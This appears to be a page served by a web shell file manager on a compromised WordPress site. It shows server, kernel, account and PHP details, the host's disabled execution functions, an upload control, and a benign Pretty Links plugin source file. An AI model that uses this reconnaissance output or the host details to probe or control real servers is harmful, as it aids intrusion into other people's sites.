HEX
Server: LiteSpeed
System: Linux cde2.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dtptviut (1121)
PHP: 8.0.30
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dtptviut/domains/julebloggen.dk/public_html/wp-content/plugins/pretty-link/src/functions.php
<?php

declare(strict_types=1);

namespace PrettyLinks;

defined('ABSPATH') || exit;

use PrettyLinks\GroundLevel\Package\PluginConfig;

/**
 * The main application instance.
 *
 * Called once from the plugin's main entry file. Returns a singleton
 * Bootstrap instance, which owns the dependency injection container.
 *
 * @param  string $mainFile Absolute path to the plugin's main entry file.
 * @return Bootstrap The singleton application instance.
 */
function prettyLinksApp(string $mainFile): Bootstrap
{
    static $app = null;
    if (is_null($app)) {
        $app = new Bootstrap(new PluginConfig($mainFile));
    }
    return $app;
}